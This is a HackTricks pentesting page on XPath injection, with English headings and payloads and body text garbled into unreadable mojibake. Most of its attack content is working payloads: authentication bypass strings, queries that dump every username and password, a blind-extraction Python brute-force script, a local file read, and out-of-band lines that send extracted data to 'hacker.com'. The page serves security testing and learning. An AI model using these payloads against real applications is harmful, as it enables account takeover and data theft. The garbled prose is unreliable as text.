hacktricks/pentesting-web/xpath-injection.md

18 KiB

XPATH injection

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights
Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

Basic Syntax

рдПрдХ рд╣рдорд▓реЗ рдХреА рддрдХрдиреАрдХ рдЬрд┐рд╕реЗ XPath Injection рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдХрд╛ рдЙрдкрдпреЛрдЧ рдЙрди рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ XPath (XML Path Language) рдХреНрд╡реЗрд░реА рдмрдирд╛рддреЗ рд╣реИрдВ рддрд╛рдХрд┐ XML рджрд╕реНрддрд╛рд╡реЗрдЬреЛрдВ рдХреЛ рдХреНрд╡реЗрд░реА рдпрд╛ рдиреЗрд╡рд┐рдЧреЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред

Nodes Described

рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ XML рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди рдиреЛрдбреНрд╕ рдХрд╛ рдЪрдпрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрди рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐рдпреЛрдВ рдФрд░ рдЙрдирдХреЗ рд╡рд┐рд╡рд░рдгреЛрдВ рдХрд╛ рд╕рд╛рд░рд╛рдВрд╢ рдиреАрдЪреЗ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:

  • nodename: "nodename" рдирд╛рдо рд╡рд╛рд▓реЗ рд╕рднреА рдиреЛрдбреНрд╕ рдХрд╛ рдЪрдпрди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
  • /: рдЪрдпрди рдореВрд▓ рдиреЛрдб рд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
  • //: рд╡рд░реНрддрдорд╛рди рдиреЛрдб рд╕реЗ рдЪрдпрди рд╕реЗ рдореЗрд▓ рдЦрд╛рдиреЗ рд╡рд╛рд▓реЗ рдиреЛрдбреНрд╕ рдХрд╛ рдЪрдпрди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЪрд╛рд╣реЗ рд╡реЗ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдореЗрдВ рдХрд╣реАрдВ рднреА рд╣реЛрдВред
  • .: рд╡рд░реНрддрдорд╛рди рдиреЛрдб рдХрд╛ рдЪрдпрди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
  • ..: рд╡рд░реНрддрдорд╛рди рдиреЛрдб рдХрд╛ рдорд╛рддрд╛-рдкрд┐рддрд╛ рдЪрдпрдирд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
  • @: рдЧреБрдгрд╛рдВрдХ рдХрд╛ рдЪрдпрди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

XPath Examples

рдкрде рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐рдпреЛрдВ рдФрд░ рдЙрдирдХреЗ рдкрд░рд┐рдгрд╛рдореЛрдВ рдХреЗ рдЙрджрд╛рд╣рд░рдг рд╢рд╛рдорд┐рд▓ рд╣реИрдВ:

  • bookstore: "bookstore" рдирд╛рдо рд╡рд╛рд▓реЗ рд╕рднреА рдиреЛрдбреНрд╕ рдХрд╛ рдЪрдпрди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
  • /bookstore: рдореВрд▓ рддрддреНрд╡ bookstore рдХрд╛ рдЪрдпрди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдиреЛрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдХрд┐рд╕реА рддрддреНрд╡ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреВрд░реНрдг рдкрде рдПрдХ рд╕реНрд▓реИрд╢ (/) рд╕реЗ рд╢реБрд░реВ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдкрде рджреНрд╡рд╛рд░рд╛ рджрд░реНрд╢рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
  • bookstore/book: рд╕рднреА рдкреБрд╕реНрддрдХ рддрддреНрд╡ рдЬреЛ bookstore рдХреЗ рдмрдЪреНрдЪреЗ рд╣реИрдВ, рдХрд╛ рдЪрдпрди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
  • //book: рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдореЗрдВ рд╕рднреА рдкреБрд╕реНрддрдХ рддрддреНрд╡реЛрдВ рдХрд╛ рдЪрдпрди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЪрд╛рд╣реЗ рдЙрдирдХреА рд╕реНрдерд┐рддрд┐ рдХреБрдЫ рднреА рд╣реЛред
  • bookstore//book: рд╕рднреА рдкреБрд╕реНрддрдХ рддрддреНрд╡ рдЬреЛ bookstore рддрддреНрд╡ рдХреЗ рд╡рдВрд╢рдЬ рд╣реИрдВ, рдХрд╛ рдЪрдпрди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЪрд╛рд╣реЗ рдЙрдирдХреА рд╕реНрдерд┐рддрд┐ bookstore рддрддреНрд╡ рдХреЗ рддрд╣рдд рдХреБрдЫ рднреА рд╣реЛред
  • //@lang: lang рдирд╛рдо рд╡рд╛рд▓реЗ рд╕рднреА рдЧреБрдгрд╛рдВрдХ рдХрд╛ рдЪрдпрди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

Utilization of Predicates

рдЪрдпрди рдХреЛ рдкрд░рд┐рд╖реНрдХреГрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреВрд░реНрд╡рд╡рд░реНрддреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:

  • /bookstore/book[1]: bookstore рддрддреНрд╡ рдХрд╛ рдкрд╣рд▓рд╛ рдкреБрд╕реНрддрдХ рддрддреНрд╡ рдмрдЪреНрдЪрд╛ рдЪрдпрдирд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред IE рд╕рдВрд╕реНрдХрд░рдг 5 рд╕реЗ 9 рдХреЗ рд▓рд┐рдП рдПрдХ рд╡рд░реНрдХрдЕрд░рд╛рдЙрдВрдб, рдЬреЛ рдкрд╣рд▓реЗ рдиреЛрдб рдХреЛ [0] рдХреЗ рд░реВрдк рдореЗрдВ рдЕрдиреБрдХреНрд░рдорд┐рдд рдХрд░рддрд╛ рд╣реИ, JavaScript рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ SelectionLanguage рдХреЛ XPath рдкрд░ рд╕реЗрдЯ рдХрд░рдирд╛ рд╣реИред
  • /bookstore/book[last()]: bookstore рддрддреНрд╡ рдХрд╛ рдЕрдВрддрд┐рдо рдкреБрд╕реНрддрдХ рддрддреНрд╡ рдмрдЪреНрдЪрд╛ рдЪрдпрдирд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
  • /bookstore/book[last()-1]: bookstore рддрддреНрд╡ рдХрд╛ рдкреВрд░реНрд╡ рдЕрдВрддрд┐рдо рдкреБрд╕реНрддрдХ рддрддреНрд╡ рдмрдЪреНрдЪрд╛ рдЪрдпрдирд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
  • /bookstore/book[position()<3]: bookstore рддрддреНрд╡ рдХреЗ рдкрд╣рд▓реЗ рджреЛ рдкреБрд╕реНрддрдХ рддрддреНрд╡ рдмрдЪреНрдЪреЛрдВ рдХрд╛ рдЪрдпрди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
  • //title[@lang]: lang рдЧреБрдгрд╛рдВрдХ рд╡рд╛рд▓реЗ рд╕рднреА рд╢реАрд░реНрд╖рдХ рддрддреНрд╡реЛрдВ рдХрд╛ рдЪрдпрди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
  • //title[@lang='en']: "lang" рдЧреБрдгрд╛рдВрдХ рдорд╛рди "en" рд╡рд╛рд▓реЗ рд╕рднреА рд╢реАрд░реНрд╖рдХ рддрддреНрд╡реЛрдВ рдХрд╛ рдЪрдпрди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
  • /bookstore/book[price>35.00]: bookstore рдХреЗ рд╕рднреА рдкреБрд╕реНрддрдХ рддрддреНрд╡ рдЬрд┐рдирдХреА рдХреАрдордд 35.00 рд╕реЗ рдЕрдзрд┐рдХ рд╣реИ, рдХрд╛ рдЪрдпрди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
  • /bookstore/book[price>35.00]/title: bookstore рдХреЗ рдЙрди рдкреБрд╕реНрддрдХ рддрддреНрд╡реЛрдВ рдХреЗ рд╕рднреА рд╢реАрд░реНрд╖рдХ рддрддреНрд╡реЛрдВ рдХрд╛ рдЪрдпрди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд┐рдирдХреА рдХреАрдордд 35.00 рд╕реЗ рдЕрдзрд┐рдХ рд╣реИред

Handling of Unknown Nodes

рдЕрдЬреНрдЮрд╛рдд рдиреЛрдбреНрд╕ рд╕реЗ рдореЗрд▓ рдЦрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд╛рдЗрд▓реНрдбрдХрд╛рд░реНрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:

  • *: рдХрд┐рд╕реА рднреА рддрддреНрд╡ рдиреЛрдб рд╕реЗ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИред
  • @*: рдХрд┐рд╕реА рднреА рдЧреБрдгрд╛рдВрдХ рдиреЛрдб рд╕реЗ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИред
  • node(): рдХрд┐рд╕реА рднреА рдкреНрд░рдХрд╛рд░ рдХреЗ рдХрд┐рд╕реА рднреА рдиреЛрдб рд╕реЗ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИред

рдЕрдзрд┐рдХ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ:

  • /bookstore/*: bookstore рддрддреНрд╡ рдХреЗ рд╕рднреА рдмрдЪреНрдЪреЗ рддрддреНрд╡ рдиреЛрдбреНрд╕ рдХрд╛ рдЪрдпрди рдХрд░рддрд╛ рд╣реИред
  • //*: рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдореЗрдВ рд╕рднреА рддрддреНрд╡реЛрдВ рдХрд╛ рдЪрдпрди рдХрд░рддрд╛ рд╣реИред
  • //title[@*]: рдХрдо рд╕реЗ рдХрдо рдПрдХ рдЧреБрдгрд╛рдВрдХ рд╡рд╛рд▓реЗ рд╕рднреА рд╢реАрд░реНрд╖рдХ рддрддреНрд╡реЛрдВ рдХрд╛ рдЪрдпрди рдХрд░рддрд╛ рд╣реИред

Example

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

рдЬрд╛рдирдХрд╛рд░реА рддрдХ рдкрд╣реБрдБрдЪреЗрдВ

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

рд╕реНрдХреАрдорд╛ рдХреА рдкрд╣рдЪрд╛рди рдФрд░ рдЪреЛрд░реА

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

Authentication Bypass

рдкреНрд░рд╢реНрдиреЛрдВ рдХрд╛ рдЙрджрд╛рд╣рд░рдг:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

рдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рдореЗрдВ рдмрд╛рдИрдкрд╛рд╕ (рджреЛрдиреЛрдВ рдореЗрдВ рд╕рдорд╛рди рдорд╛рди)

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

рдирд▓ рдЗрдВрдЬреЗрдХреНрд╢рди рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ

Username: ' or 1]%00

рдпреВрдЬрд░рдиреЗрдо рдпрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдореЗрдВ рдбрдмрд▓ OR (рдХреЗрд╡рд▓ 1 рдХрдордЬреЛрд░ рдлрд╝реАрд▓реНрдб рдХреЗ рд╕рд╛рде рдорд╛рдиреНрдп рд╣реИ)

рдорд╣рддреНрд╡рдкреВрд░реНрдг: рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ "рдФрд░" рдкрд╣рд▓реА рдХреНрд░рд┐рдпрд╛ рд╣реИ рдЬреЛ рдХреА рдЬрд╛рддреА рд╣реИред

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2┬║ account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

String extraction

рдЖрдЙрдЯрдкреБрдЯ рдореЗрдВ рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рд╣реЛрддреА рд╣реИрдВ рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдорд╛рдиреЛрдВ рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рд╣реЗрд░рдлреЗрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ:

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

Blind Explotation

рдПрдХ рдорд╛рди рдХреА рд▓рдВрдмрд╛рдИ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ рдФрд░ рддреБрд▓рдирд╛ рджреНрд╡рд╛рд░рд╛ рдЗрд╕реЗ рдирд┐рдХрд╛рд▓реЗрдВ:

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

рдкрд╛рдпрдерди рдЙрджрд╛рд╣рд░рдг

import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

рдлрд╝рд╛рдЗрд▓ рдкрдврд╝реЗрдВ

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

OOB рд╢реЛрд╖рдг

doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

Automatic tool

References

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights
рд╣реИрдХрд┐рдВрдЧ рдХреЗ рд░реЛрдорд╛рдВрдЪ рдФрд░ рдЪреБрдиреМрддрд┐рдпреЛрдВ рдореЗрдВ рдЧрд╣рд░рд╛рдИ рд╕реЗ рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╕рд╛рде рдЬреБрдбрд╝реЗрдВ

Real-Time Hack News
рддреЗрдЬ-рддрд░реНрд░рд╛рд░ рд╣реИрдХрд┐рдВрдЧ рджреБрдирд┐рдпрд╛ рдХреЗ рд╕рд╛рде рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдордп рдХреА рд╕рдорд╛рдЪрд╛рд░ рдФрд░ рдЕрдВрддрд░реНрджреГрд╖реНрдЯрд┐ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрджреНрдпрддрд┐рдд рд░рд╣реЗрдВ

Latest Announcements
рдирд╡реАрдирддрдо рдмрдЧ рдмрд╛рдЙрдВрдЯреА рд▓реЙрдиреНрдЪ рдФрд░ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдЕрдкрдбреЗрдЯ рдХреЗ рд╕рд╛рде рд╕реВрдЪрд┐рдд рд░рд╣реЗрдВ

Join us on Discord and start collaborating with top hackers today!

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}